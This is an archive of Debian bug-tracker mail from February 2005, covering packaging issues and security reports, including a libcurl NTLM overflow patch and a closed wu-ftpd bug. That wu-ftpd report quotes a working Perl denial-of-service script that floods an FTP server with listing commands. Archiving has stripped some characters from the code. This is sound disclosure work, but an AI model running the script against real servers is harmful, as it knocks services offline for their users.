0x3ef3a55b.virnxx2.adsl-dhcp.tele.dk (xayide.jones.dk) [62.243.165.91] (postfix) by spohr.debian.org with esmtp (Exim 3.35 1 (Debian)) id 1D42il-0002SV-00; Wed, 23 Feb 2005 12:02:56 -0800 Received: from localhost (localhost [127.0.0.1]) by xayide.jones.dk (Postfix) with ESMTP id 71FDF1AB2DC; Wed, 23 Feb 2005 21:02:53 +0100 (CET) Received: from xayide.jones.dk ([127.0.0.1]) by localhost (xayide.jones.dk [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 31437-04; Wed, 23 Feb 2005 21:02:43 +0100 (CET) Received: from [192.168.102.136] (unknown [192.168.102.136]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by xayide.jones.dk (Postfix) with ESMTP id 54AB71AB2B9; Wed, 23 Feb 2005 21:02:43 +0100 (CET) Message-ID: [EMAIL PROTECTED] Date: Wed, 23 Feb 2005 21:02:17 +0100 From: Jonas Smedegaard [EMAIL PROTECTED] User-Agent: Debian Thunderbird 1.0 (X11/20050117) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Niko Tyni [EMAIL PROTECTED], [EMAIL PROTECTED] Subject: Re: Bug#278625: Bug #278625: CAN-2004-0990: integer and buffer overflows References: [EMAIL PROTECTED] In-Reply-To: [EMAIL PROTECTED] X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at jones.dk Delivered-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02 (1.212-2003-09-23-exp) on spohr.debian.org X-Spam-Status: No, hits=-6.0 required=4.0 tests=BAYES_00,HAS_BUG_NUMBER
Bug#296656: asterisk: Missing chan_zap on latest package
Package: asterisk Version: 1:1.0.5-3 Severity: grave Justification: renders package unusable Latest package in unstable does not have zaptel support, so it's useless (for me, of course). Please add again chan_zap! Thanks, Alex -- System Information: Debian Release: 3.1 APT prefers testing APT policy: (500, 'testing'), (50, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.8-2-686 Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1) Versions of packages asterisk depends on: ii asterisk-config 1:1.0.5-3 config files for asterisk ii asterisk-sounds-main 1:1.0.5-3 sound files for asterisk ii libasound21.0.8-2ALSA library ii libc6 2.3.2.ds1-20 GNU C Library: Shared libraries an ii libedit2 2.9.cvs.20040827-1 BSD editline and history libraries ii libgsm1 1.0.10-13 Shared libraries for GSM speech co ii libncurses5 5.4-4 Shared libraries for terminal hand ii libpq37.4.7-2PostgreSQL C client library ii libpri1 1.0.4-1Primary Rate ISDN specification li ii libspeex1 1.0.rel.4-1The Speex Speech Codec ii libssl0.9.7 0.9.7e-2 SSL shared libraries ii libtonezone1 1:1.0.2-2 tonezone library (runtime) ii unixodbc 2.2.4-11 ODBC tools libraries ii zlib1g1:1.2.2-3 compression library - runtime -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296662: security hole in LDAP login code (CAN-2005-0505)
Package: irm Version: 1.5.1.1-2 Severity: serious Tags: security CVE: CAN-2005-0505 According to http://sourceforge.net/project/shownotes.php?release_id=306629 : IRM 1.5.2.1 fixes a potential security flaw in the LDAP login code. All users (especially those running on LDAP) are urged to upgrade. http://secunia.com/advisories/14342 has a bit more info: Fulvio Civitareale has reported a vulnerability in IRM, which can be exploited by malicious people to bypass certain security restrictions. The vulnerability is caused due to an error in the LDAP login code where a user with a non-existent username can login. Please mention CAN-2005-0505 in any changelog entries. -- see shy jo signature.asc Description: Digital signature
Bug#296656: asterisk: Missing chan_zap on latest package
Hi Alessandro, Am Mittwoch, den 23.02.2005, 21:20 +0100 schrieb Alessandro Polverini: Package: asterisk Version: 1:1.0.5-3 Severity: grave Justification: renders package unusable Latest package in unstable does not have zaptel support, so it's useless (for me, of course). Please add again chan_zap! thanks for your email. That is known and was reported to the BTS already. We're working on it and just for the record: it was not removed on purpose. -- Best regards, Kilian signature.asc Description: Dies ist ein digital signierter Nachrichtenteil
Bug#296656: asterisk: Missing chan_zap on latest package
severity 29665 important thanks El mi, 23-02-2005 a las 21:20 +0100, Alessandro Polverini escribi: Package: asterisk Version: 1:1.0.5-3 Severity: grave Justification: renders package unusable Latest package in unstable does not have zaptel support, so it's useless (for me, of course). That the package doesn't have a module in this release doesn't render it unusable for everyone else. Please add again chan_zap! It will be added soon, but we need first to wait for another zaptel upload to be made. Thanks, -- Jose Carlos Garcia Sogo [EMAIL PROTECTED] signature.asc Description: Esta parte del mensaje =?ISO-8859-1?Q?est=E1?= firmada digitalmente
Bug#267799: nvidia-graphics-drivers blocked by #267799
Hi, I have recently stumbled upon the following changelog comment: Changes: nvidia-graphics-drivers (1.0.6629+1-2) unstable; urgency=high . * Add patches for new ( 2.6.10-rc3-bk13) kernels from minion.de. Thanks to Drew Hess [EMAIL PROTECTED] (closes: #280224, #281640, #287226) * updated minion patches from 16 Feb 2005 * urgency high to get back in to sarge asap. in which you seem to believe that the nvidia packages can enter sarge in their present state. However, because of the high (too high?) severity of the grave bug #267799 (fails to auto-load kernel module) it is presently blocked. Given the simple workarounds mentioned in the bug thread, I think that the bug can be safely demoted, as long as you add some kind of debconf question upon the installation suggesting to either not to use udev/devfs, or to manually preload nvidia (e.g. via /etc/modules) before the X is started. vassilii -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: #296166: Depends on non-existent libnjb2
Processing commands for [EMAIL PROTECTED]: package neutrino Ignoring bugs not assigned to: neutrino severity 296166 grave Bug#296166: Depends on non-existent libnjb2 Severity set to `grave'. tags 296166 +pending sid Bug#296166: Depends on non-existent libnjb2 There were no tags set. Tags added: pending, sid merge 296166 293153 Bug#293153: neutrino: is not installable Bug#296166: Depends on non-existent libnjb2 Merged 293153 296166. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296674: mysql-server: Security bug in MySQL in woody (CAN-2004-0957)
Package: mysql-server Version: 3.23.49-8.9 Severity: grave Tags: security woody Justification: user security hole See http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0957 for more information. Based on that writeup any version of MySQL prior to 3.23.58 is vulnerable. I have checked through the MySQL changelogs for stable and I don't see this problem fixed there. If it is already fixed sorry about the duplicate bug. (See also http://www.us-cert.gov/cas/bulletins/SB05-054.html#mysql) -- System Information Debian Release: 3.0 Architecture: i386 Kernel: Linux P450 2.4.18-1-686 #1 Wed Apr 14 18:20:10 UTC 2004 i686 Locale: LANG=C, LC_CTYPE=C Versions of packages mysql-server depends on: ii adduser3.47 Add and remove users and groups ii debconf1.2.35Debian configuration management sy ii libc6 2.2.5-11.8GNU C Library: Shared libraries an ii libdbi-perl1.21-2woody2 The Perl5 Database Interface by Ti ii libmysqlclient10 3.23.49-8.9 mysql database client library ii libstdc++2.10-glibc2.2 1:2.95.4-11woody1 The GNU stdc++ library ii libwrap0 7.6-9 Wietse Venema's TCP wrappers libra ii mysql-client 3.23.49-8.9 mysql database client binaries ii perl 5.6.1-8.8 Larry Wall's Practical Extraction ii psmisc 20.2-2.1 Utilities that use the proc filesy ii zlib1g 1:1.1.4-1.0woody0 compression library - runtime -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296678: libcurl3: NTLM Authentication buffer overflow (CAN-2005-0490)
Package: libcurl3
Version: 7.13.0-1
Severity: grave
Tags: patch
Justification: user security hole
iDefense discovered a buffer overflow in NTLM authentication that may lead
to arbitrary code execution. This is CAN-2005-0490. Woody is not affected,
as it doesn't contain the vulnerable NTLM code. (It's not listed on the
Not-Vulnerable list yet, though)
Upstream's patch to address this issue is attached, I didn't resync it
against the Debian package, because all this internal to-7.11 patching
seems, umm, scary.
The advisory can be found at
http://www.idefense.com/application/poi/display?id=202type=vulnerabilities
There's another buffer overflow in Kerberos handling, but I doesn't seems
to be enabled in debian/rules, but please double check this.
Cheers,
Moritz
-- System Information:
Debian Release: 3.1
APT prefers unstable
APT policy: (500, 'unstable')
Architecture: i386 (i686)
Kernel: Linux 2.6.10-1-686
Locale: LANG=C, [EMAIL PROTECTED] (charmap=ISO-8859-15)
Versions of packages libcurl3 depends on:
ii libc6 2.3.2.ds1-20 GNU C Library: Shared libraries an
ii libidn110.5.2-3 GNU libidn library, implementation
ii libssl0.9.7 0.9.7e-3 SSL shared libraries
ii zlib1g 1:1.2.2-4compression library - runtime
-- no debconf information
===
RCS file: /cvsroot/curl/curl/lib/http_ntlm.c,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -r1.36 -r1.37
--- curl/lib/http_ntlm.c 2004/12/07 23:09:41 1.36
+++ curl-7.9.5/lib/http_ntlm.c 2005/02/22 07:44:14 1.37
@@ -103,7 +103,6 @@
header++;
if(checkprefix(NTLM, header)) {
-unsigned char buffer[256];
header += strlen(NTLM);
while(*header isspace((int)*header))
@@ -123,8 +122,12 @@
(40)Target Information (optional) security buffer(*)
32 (48) start of data block
*/
+ size_t size;
+ unsigned char *buffer = (unsigned char *)malloc(strlen(header));
+ if (buffer == NULL)
+return CURLNTLM_BAD;
- size_t size = Curl_base64_decode(header, (char *)buffer);
+ size = Curl_base64_decode(header, (char *)buffer);
ntlm-state = NTLMSTATE_TYPE2; /* we got a type-2 */
@@ -134,6 +137,7 @@
/* at index decimal 20, there's a 32bit NTLM flag field */
+ free(buffer);
}
else {
if(ntlm-state = NTLMSTATE_TYPE1)
Processed: Re: Bug#296674: mysql-server: Security bug in MySQL in woody (CAN-2004-0957)
Processing commands for [EMAIL PROTECTED]: reassign 285276 mysql-dfsg Bug#285276: mysql: vulnerability issue (CAN-2004-0956 and CAN-2004-0957) Bug reassigned from package `mysql' to `mysql-dfsg'. reassign 296674 mysql-dfsg Bug#296674: mysql-server: Security bug in MySQL in woody (CAN-2004-0957) Bug reassigned from package `mysql-server' to `mysql-dfsg'. merge 285276 296674 Bug#285276: mysql: vulnerability issue (CAN-2004-0956 and CAN-2004-0957) Bug#296674: mysql-server: Security bug in MySQL in woody (CAN-2004-0957) Merged 285276 296674. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296674: mysql-server: Security bug in MySQL in woody (CAN-2004-0957)
reassign 285276 mysql-dfsg reassign 296674 mysql-dfsg merge 285276 296674 thanks Hello Jefferson On 2005-02-23 Jefferson Cowart wrote: See http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0957 for more information. Based on that writeup any version of MySQL prior to 3.23.58 is vulnerable. This bug was already existing with subject: #285276: mysql: vulnerability issue (CAN-2004-0956 and CAN-2004-0957) I merged the two. The problem with this bug is that it requires either a bigger version change (3.23.49 to 3.23.58) or a very big patch for just this issue (which is hard to produce or do you have one that changes nothing except the security hole?). Both was not liked very much and the security implication is realy realy low (correct me if I'm wrong). At the time of the bug disclosed I thought the Sarge release was just some weeks away and would introduce a fixed 4.0 version with the new stable version. Sadly Debian Sarge is still late with no release in sight. bye, -christian- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#295510: atlas{,3}-test manpage conflicts
ke, 2005-02-23 kello 12:14 -0500, Camm Maguire kirjoitti: Thanks for the suggestion, but this violates policy, which states that I can only use sections 1 through 9. Am preparing a release of atlas-test which replaces atlas3-test to match the converse which holds at present. It is my intrepretation that policy does not actually forbid it. It refers to the FHS and the FHS explicitly allows it. Quite a number of core packages do it, such as X, ncurses, and Perl. We need to remove all these older blas/lapack/atlas packages, but a few other packages still have not upgraded yet :-(. However, if you are going to get rid of the conflicing packages, then that makes my suggestion useless anyway. Good luck. :) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296623: kernel-image-2.6.8-amd64: 2.6.8 kernel images panic on quad Opteron box
Hi, On Wed, Feb 23, 2005 at 04:54:20PM +, Alex Page wrote: I have installed Debian Sarge on a four-way Opteron HE box. The install went smoothly, and the default kernel-image-2.4.27-1-386 package seems to work fine. One of the first things I did was to install an Opteron-optimised, SMP kernel-image, kernel-image-2.6.8-10-amd64-k8-smp. This gave a Machine Check Exception on boot: I have tried kernel-image-2.6.8-10-amd64-k8 which also gives a Machine Check Exception, and kernel-image-2.6.8-2-386 which just hangs at Calculating Delay Loop. can you please try kernel-image-2.6.9-9-amd64-k8-smp from sid http://ftp.de.debian.org/debian/pool/main/k/kernel-image-2.6.9-amd64/kernel-image-2.6.9-9-amd64-k8-smp_2.6.9-4_i386.deb and if that fails too, could you give kernel-image-2.6.10-9-amd64-k8-smp from deb http://213.178.77.236/kernel/ ./ a try? http://213.178.77.236/kernel/kernel-image-2.6.10-9-amd64-k8-smp_2.6.10-4_i386.deb The 2.6.10 amd64 kernels are still in NEW, version 2.6.10-4 on my site is the latest one. You should additionally check for a bios update. And maybe you should post to debian-amd64@lists.debian.org and look for other people with the very same system setup. HTH Frederik Schueler -- ENOSIG signature.asc Description: Digital signature
Bug#219165: marked as done (DoS in WU-FTPD (exploit in 'ls'))
Your message dated Wed, 23 Feb 2005 19:17:26 -0500
with message-id [EMAIL PROTECTED]
and subject line Bug#219165: fixed in wu-ftpd 2.6.2-18
has caused the attached Bug report to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what I am
talking about this indicates a serious mail system misconfiguration
somewhere. Please contact me immediately.)
Debian bug tracking system administrator
(administrator, Debian Bugs database)
--
Received: (at submit) by bugs.debian.org; 4 Nov 2003 18:39:44 +
From [EMAIL PROTECTED] Tue Nov 04 12:39:34 2003
Return-path: [EMAIL PROTECTED]
Received: from web13805.mail.yahoo.com [216.136.175.15]
by master.debian.org with smtp (Exim 3.35 1 (Debian))
id 1AH65W-0002I8-00; Tue, 04 Nov 2003 12:39:34 -0600
Message-ID: [EMAIL PROTECTED]
Received: from [208.165.59.137] by web13805.mail.yahoo.com via HTTP; Tue, 04
Nov 2003 10:39:33 PST
Date: Tue, 4 Nov 2003 10:39:33 -0800 (PST)
From: Miguel Quesada [EMAIL PROTECTED]
Subject: DoS in WU-FTPD (exploit in 'ls')
To: [EMAIL PROTECTED]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Delivered-To: [EMAIL PROTECTED]
X-Spam-Status: No, hits=-4.0 required=4.0
tests=BAYES_70,HAS_PACKAGE
version=2.53-bugs.debian.org_2003_11_03
X-Spam-Level:
X-Spam-Checker-Version: SpamAssassin 2.53-bugs.debian.org_2003_11_03
(1.174.2.15-2003-03-30-exp)
Package: wu-ftpd
Version: 2.6.2-3woody2
I found the following exploit and ran it on the
machines I administer... it wasn't nice...
#!/usr/bin/perl
# DoS sploit for ls
# tested against wu-ftpd 2.6.2
# coded by (c) druid
# greets to viator
use Net::FTP;
(($target = $ARGV[0])($count = $ARGV[1])) || die
usage:$0 target count;
my $user = anonymous;
my $pass = [EMAIL PROTECTED];
$cols=100;#you can increase this value for more
destructive result ;)
print :: Trying to connect to target system at:
$target...\n; $ftp = Net::FTP-new($target, Debug =
0, Port = 21) || die could not
connect: $!;
print Connected!\n;
$ftp-login($user, $pass) || die could not login:
$!;
print Logged in!\n;
$ftp-cwd(/);
while ($count)
{
$ftp-ls(-w $cols -C);
$count--;
}
print Done!\n;
$ftp-quit;
---
After this, the system stalls for a considerable long
time. Hope u guys found a workaround for this...
regards.
__
Do you Yahoo!?
Protect your identity with Yahoo! Mail AddressGuard
http://antispam.yahoo.com/whatsnewfree
---
Received: (at 219165-close) by bugs.debian.org; 24 Feb 2005 00:23:46 +
From [EMAIL PROTECTED] Wed Feb 23 16:23:46 2005
Return-path: [EMAIL PROTECTED]
Received: from newraff.debian.org [208.185.25.31] (mail)
by spohr.debian.org with esmtp (Exim 3.35 1 (Debian))
id 1D46nC-0002ms-00; Wed, 23 Feb 2005 16:23:46 -0800
Received: from katie by newraff.debian.org with local (Exim 3.35 1 (Debian))
id 1D46h4-0007f5-00; Wed, 23 Feb 2005 19:17:26 -0500
From: Chris Butler [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
X-Katie: $Revision: 1.55 $
Subject: Bug#219165: fixed in wu-ftpd 2.6.2-18
Message-Id: [EMAIL PROTECTED]
Sender: Archive Administrator [EMAIL PROTECTED]
Date: Wed, 23 Feb 2005 19:17:26 -0500
Delivered-To: [EMAIL PROTECTED]
X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2005_01_02
(1.212-2003-09-23-exp) on spohr.debian.org
X-Spam-Status: No, hits=-6.0 required=4.0 tests=BAYES_00,HAS_BUG_NUMBER
autolearn=no version=2.60-bugs.debian.org_2005_01_02
X-Spam-Level:
X-CrossAssassin-Score: 2
Source: wu-ftpd
Source-Version: 2.6.2-18
We believe that the bug you reported is fixed in the latest version of
wu-ftpd, which is due to be installed in the Debian FTP archive:
wu-ftpd_2.6.2-18.diff.gz
to pool/main/w/wu-ftpd/wu-ftpd_2.6.2-18.diff.gz
wu-ftpd_2.6.2-18.dsc
to pool/main/w/wu-ftpd/wu-ftpd_2.6.2-18.dsc
wu-ftpd_2.6.2-18_i386.deb
to pool/main/w/wu-ftpd/wu-ftpd_2.6.2-18_i386.deb
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to [EMAIL PROTECTED],
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Chris Butler [EMAIL PROTECTED] (supplier of updated wu-ftpd package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [EMAIL PROTECTED])
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Format: 1.7
Date: Tue, 22 Feb 2005 21:48:07 +
Source: wu-ftpd
Binary: wu-ftpd
Architecture: source i386
Version: 2.6.2-18
Distribution: unstable
Urgency: high
Maintainer: Chris Butler [EMAIL PROTECTED]
Bug#267166: marked as done (wu-ftpd: wrong dependencies)
Your message dated Thu, 24 Feb 2005 00:43:59 +
with message-id [EMAIL PROTECTED]
and subject line Fixed in upload wu-ftpd 2.6.2-18
has caused the attached Bug report to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what I am
talking about this indicates a serious mail system misconfiguration
somewhere. Please contact me immediately.)
Debian bug tracking system administrator
(administrator, Debian Bugs database)
--
Received: (at submit) by bugs.debian.org; 20 Aug 2004 22:57:58 +
From [EMAIL PROTECTED] Fri Aug 20 15:57:58 2004
Return-path: [EMAIL PROTECTED]
Received: from horaz.ls-hosting.de [213.239.197.103] (foobar)
by spohr.debian.org with esmtp (Exim 3.35 1 (Debian))
id 1ByIKX-Uw-00; Fri, 20 Aug 2004 15:57:53 -0700
Date: Sat, 21 Aug 2004 00:56:59 +0200
From: Martin Zobel-Helas [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: wu-ftpd: wrong dependencies
Message-ID: [EMAIL PROTECTED]
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
protocol=application/pgp-signature; boundary=f2QGlHpHGjS2mn6Y
Content-Disposition: inline
X-Operating-System: Linux jas 2.6.8
X-Crypto: GnuPG/1.2.4 http://www.gnupg.org
X-GPG-Fingerprint: 1474 4CAC EF5C ECFA E29E 2CB1 7929 AB90 F7AC 3AF0
X-Uptime: 00:45:07 up 11:45, 1 user, load average: 0.22, 0.17, 0.09
User-Agent: Mutt/1.5.6+20040803i
Delivered-To: [EMAIL PROTECTED]
X-Spam-Checker-Version: SpamAssassin 2.60-bugs.debian.org_2004_03_25
(1.212-2003-09-23-exp) on spohr.debian.org
X-Spam-Status: No, hits=-3.0 required=4.0 tests=BAYES_00 autolearn=no
version=2.60-bugs.debian.org_2004_03_25
X-Spam-Level:
--f2QGlHpHGjS2mn6Y
Content-Type: multipart/mixed; boundary=pWyiEgJYm5f9v55/
Content-Disposition: inline
--pWyiEgJYm5f9v55/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Package: mtr
Version: n/a
Severity: serious
Tags: patch
There is a wrong dependency in debian/control.
when i install
Setting up wu-ftpd (2.6.2-17.1) ...
Can't locate DebianNet.pm in @INC (@INC contains: /etc/perl /usr/local/lib/=
perl/5.8.4 /usr/local/share/perl/5.8.4 /usr/lib/perl5 /usr/share/perl5 /usr=
/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at /var/lib/d=
pkg/info/wu-ftpd.postinst line 9.
dpkg: error processing wu-ftpd (--configure):
subprocess post-installation script returned error exit status 2
Errors were encountered while processing:
wu-ftpd
E: Sub-process /usr/bin/dpkg returned an error code (1)
attached patch fixes this bug.
greetings from the Darmstadt BSP
Martin
--=20
Martin Zobel-Helas [EMAIL PROTECTED] or [EMAIL PROTECTED]
http://www.helas.net or http://mhelas.blogspot.com
GPGKey-Fingerprint: 14744CACEF5CECFAE29E2CB17929AB90F7AC3AF0
--pWyiEgJYm5f9v55/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=wu-ftpd.depends.diff
Content-Transfer-Encoding: quoted-printable
diff -rNu wu-ftpd-2.6.2/debian/control wu-ftpd-2.6.2.new/debian/control
--- wu-ftpd-2.6.2/debian/control2004-08-21 00:43:11.0 +0200
+++ wu-ftpd-2.6.2.new/debian/control2004-08-21 00:42:43.0 +0200
@@ -7,7 +7,7 @@
=20
Package: wu-ftpd
Architecture: any
-Depends: ${shlibs:Depends}, netbase ( 4.00) | netkit-inetd, perl5 | perl=
, debconf
+Depends: ${shlibs:Depends}, netbase ( 4.00), perl5 | perl, debconf
Suggests: logrotate
Conflicts: ftp-server, wu-ftpd-academ ( 2.5.0), netbase ( 2.0), logrot=
ate ( 3.6.5-1)
Replaces: wu-ftpd-academ ( 2.5.0)
--pWyiEgJYm5f9v55/--
--f2QGlHpHGjS2mn6Y
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Digital signature
Content-Disposition: inline
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.5 (GNU/Linux)
iD8DBQFBJoG7eSmrkPesOvARAp8HAKC667SyxKVtM5TIv1rYya6xvygqhQCfURUY
b2zlIA9f0tRuhOksLvCGZUA=
=cINM
-END PGP SIGNATURE-
--f2QGlHpHGjS2mn6Y--
---
Received: (at 267166-done) by bugs.debian.org; 24 Feb 2005 00:44:04 +
From [EMAIL PROTECTED] Wed Feb 23 16:44:04 2005
Return-path: [EMAIL PROTECTED]
Received: from pie.crustynet.org.uk [217.147.177.118] (postfix)
by spohr.debian.org with esmtp (Exim 3.35 1 (Debian))
id 1D476q-00058M-00; Wed, 23 Feb 2005 16:44:04 -0800
Received: from localhost (localhost.localdomain [127.0.0.1])
by pie.crustynet.org.uk (Postfix) with ESMTP id 2061D13784;
Thu, 24 Feb 2005 00:44:03 + (GMT)
Received: from pie.crustynet.org.uk ([127.0.0.1])
by localhost (pie [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
id 09256-05; Thu, 24 Feb 2005 00:43:59 + (GMT)
Received: by pie.crustynet.org.uk (Postfix, from userid 1000)
id
Processed: still present in sarge
Processing commands for [EMAIL PROTECTED]: reopen 294415 Bug#294415: Two problems in Firefox Bug reopened, originator not changed. tags 294415 +sarge Bug#294415: Two problems in Firefox Tags were: security Tags added: sarge thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: still present in sarge
Processing commands for [EMAIL PROTECTED]: reopen 293023 Bug#293023: ltp: does not generate any test output Bug reopened, originator not changed. tags 293023 +sarge Bug#293023: ltp: does not generate any test output There were no tags set. Tags added: sarge thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296693: gnucash cashes when ever I open an account ledger
Package: gnucash Version: 1.8.10-7 Severity: grave Justification: renders package unusable When ever I open an account ledger in gnucash - the following crash message occurs - Application /usr/bin/guile-1.6 (process ) has crashed due to a fatal error. (Segmentation fault) I am unable to open any ledger entry or do any changes as a result -- System Information: Debian Release: 3.1 APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.8-2-386 Locale: LANG=en_SG, LC_CTYPE=en_SG (charmap=ISO-8859-1) Versions of packages gnucash depends on: ii bonobo 1.0.22-2.2 The GNOME Bonobo System. ii gdk-imlib1 1.9.14-16.2 imaging library for use with gtk ( ii gnucash-common 1.8.10-7A personal finance tracking progra ii guile-1.6-libs 1.6.7-1 Main Guile libraries ii guile-1.6-slib 1.6.7-1 Guile SLIB support ii libart2 1.4.2-19The GNOME canvas widget - runtime ii libaudiofile00.2.6-5 Open-source version of SGI's audio ii libbonobo2 1.0.22-2.2 The GNOME Bonobo library. ii libc62.3.2.ds1-20GNU C Library: Shared libraries an ii libdate-manip-perl 5.42a-2 a perl library for manipulating da ii libdb3 3.2.9-22Berkeley v3 Database Libraries [ru ii libesd0 0.2.35-2Enlightened Sound Daemon - Shared ii libfinance-quote-perl1.08-1 Perl module for retrieving stock q ii libfreetype6 2.1.7-2.3 FreeType 2 font engine, shared lib ii libgal23 0.24-1.4G App Libs (run time library) ii libgdk-pixbuf-gnome2 0.22.0-7The GNOME1 Canvas pixbuf library ii libgdk-pixbuf2 0.22.0-7The GdkPixBuf image library, gtk+ ii libghttp11.0.9-15original GNOME HTTP client library ii libglade-gnome0 1:0.17-3Library to load .glade files at ru ii libglade01:0.17-3Library to load .glade files at ru ii libglib1.2 1.2.10-9The GLib library of C routines ii libgnome32 1.4.2-19The GNOME libraries ii libgnomeprint15 0.37-5 The GNOME Print architecture - run ii libgnomesupport0 1.4.2-19The GNOME libraries (Support libra ii libgnomeui32 1.4.2-19The GNOME libraries (User Interfac ii libgtk1.21.2.10-17 The GIMP Toolkit set of widgets fo ii libgtkhtml20 1.0.4-6.2 HTML rendering/editing library - r ii libguile-ltdl-1 1.6.7-1 Guile's patched version of libtool ii libguppi16 0.40.3-11 GNOME graph and plot component ii libgwrapguile1 1.3.4-12g-wrap: Tool for exporting C libra ii libice6 4.3.0.dfsg.1-10 Inter-Client Exchange library ii libltdl3 1.5.6-4 A system independent dlopen wrappe ii liboaf0 0.6.10-3The GNOME Object Activation Framew ii libofx1 1:0.7.0-7 library to support Open Financial ii liborbit00.5.17-9Libraries for ORBit - a CORBA ORB ii libpopt0 1.7-5 lib for parsing cmdline parameters ii libqthreads-12 1.6.7-1 QuickThreads library for Guile ii libsm6 4.3.0.dfsg.1-10 X Window System Session Management ii libstdc++5 1:3.3.5-8 The GNU Standard C++ Library v3 ii libx11-6 4.3.0.dfsg.1-10 X Window System protocol client li ii libxext6 4.3.0.dfsg.1-10 X Window System miscellaneous exte ii libxi6 4.3.0.dfsg.1-10 X Window System Input extension li ii libxml1 1:1.8.17-10 GNOME XML library ii libzvt2 1.4.2-19The GNOME zvt (zterm) widget ii oaf 0.6.10-3The GNOME Object Activation Framew ii slib 3a1-4.2 Portable Scheme library ii xlibs4.3.0.dfsg.1-12 X Keyboard Extension (XKB) configu ii zlib1g 1:1.2.2-4 compression library - runtime -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: can't make it happen
Processing commands for [EMAIL PROTECTED]: tags 296693 + unreproducible Bug#296693: gnucash cashes when ever I open an account ledger There were no tags set. Tags added: unreproducible thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Fixed in NMU of maint-guide 1.2.4
Processing commands for [EMAIL PROTECTED]: tag 210785 + fixed Bug#210785: maint-guide: tabs in sample debian/rules render badly There were no tags set. Tags added: fixed tag 255441 + fixed Bug#255441: Absolute path to docbook-to-man in debian/rules Tags were: patch Tags added: fixed tag 293753 + fixed Bug#293753: maint-guide: FTBFS: debiandoc2latexps: ERROR: maint-guide.ja.dvi could not be generated properly Tags were: sid patch Tags added: fixed quit Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#293753: marked as done (maint-guide: FTBFS: debiandoc2latexps: ERROR: maint-guide.ja.dvi could not be generated properly)
